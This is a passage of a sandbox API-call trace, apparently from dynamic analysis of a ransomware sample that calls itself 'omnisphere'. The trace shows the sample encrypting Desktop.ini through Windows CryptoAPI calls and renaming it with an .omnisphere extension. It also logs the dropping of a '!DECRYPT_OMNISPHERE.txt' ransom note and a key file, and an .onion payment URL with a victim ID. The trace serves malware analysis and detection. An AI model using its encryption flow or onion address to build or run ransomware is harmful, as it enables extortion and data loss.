shortcut).desklink.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0128.929] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0128.931] CloseHandle (hObject=0x3c0) returned 1 [0128.931] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.931] CloseHandle (hObject=0x288) returned 1 [0128.931] SetEndOfFile (hFile=0x28c) returned 1 [0128.931] FlushFileBuffers (hFile=0x28c) returned 1 [0128.935] CloseHandle (hObject=0x28c) returned 1 [0128.935] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 1 [0128.935] GetProcessHeap () returned 0x1600000 [0128.935] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17275f8 [0128.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.935] GetProcessHeap () returned 0x1600000 [0128.935] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fde10 [0128.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fde10, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.935] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.936] GetProcessHeap () returned 0x1600000 [0128.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710260 [0128.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710260, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.936] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.936] GetProcessHeap () returned 0x1600000 [0128.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5e78 [0128.936] PathCombineW (in: pszDest=0x16f5e78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" [0128.936] GetProcessHeap () returned 0x1600000 [0128.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1714ee8 [0128.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.937] WriteFile (in: hFile=0x28c, lpBuffer=0x1714ee8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1714ee8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0128.937] CloseHandle (hObject=0x28c) returned 1 [0128.937] GetProcessHeap () returned 0x1600000 [0128.937] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17275f8 | out: hHeap=0x1600000) returned 1 [0128.937] GetProcessHeap () returned 0x1600000 [0128.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0128.938] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" [0128.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.938] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0128.938] CloseHandle (hObject=0x28c) returned 1 [0128.938] GetProcessHeap () returned 0x1600000 [0128.938] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0128.938] GetProcessHeap () returned 0x1600000 [0128.938] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c458 | out: hHeap=0x1600000) returned 1 [0128.938] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x391b18ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0128.939] GetProcessHeap () returned 0x1600000 [0128.939] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167c348 [0128.939] PathCombineW (in: pszDest=0x167c348, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="Desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" [0128.939] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0128.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.940] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=694) returned 1 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.940] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.941] GetTickCount () returned 0x11602a7 [0128.942] GetTickCount () returned 0x11602a7 [0128.942] GetTickCount () returned 0x11602a7 [0128.942] GetTickCount () returned 0x11602a7 [0128.942] GetTickCount () returned 0x11602a7 [0128.942] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f00) returned 1 [0128.943] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0128.943] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0128.943] CryptDestroyKey (hKey=0x1639b28) returned 1 [0128.943] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0128.943] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b6, lpName=0x0) returned 0x288 [0128.943] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b6) returned 0x1480000 [0128.944] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0128.945] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16397a8) returned 1 [0128.945] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0128.945] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0128.945] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.946] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.947] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.948] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.949] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.949] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.949] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.949] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.949] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.949] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0128.949] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2b6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0128.949] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0128.950] GetProcessHeap () returned 0x1600000 [0128.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16f76d0 [0128.950] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini.omnisphere")) returned 1 [0128.952] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.omnisphere.id" [0128.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0128.952] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0128.955] CloseHandle (hObject=0x3c0) returned 1 [0128.955] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.955] CloseHandle (hObject=0x288) returned 1 [0128.955] SetEndOfFile (hFile=0x28c) returned 1 [0128.955] FlushFileBuffers (hFile=0x28c) returned 1 [0128.966] CloseHandle (hObject=0x28c) returned 1 [0128.966] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 1 [0128.966] GetProcessHeap () returned 0x1600000 [0128.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17275f8 [0128.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.966] GetProcessHeap () returned 0x1600000 [0128.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fde60 [0128.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fde60, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.967] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.967] GetProcessHeap () returned 0x1600000 [0128.967] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710280 [0128.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710280, cbMultiByte=17, lpDefaultChar=0x0, 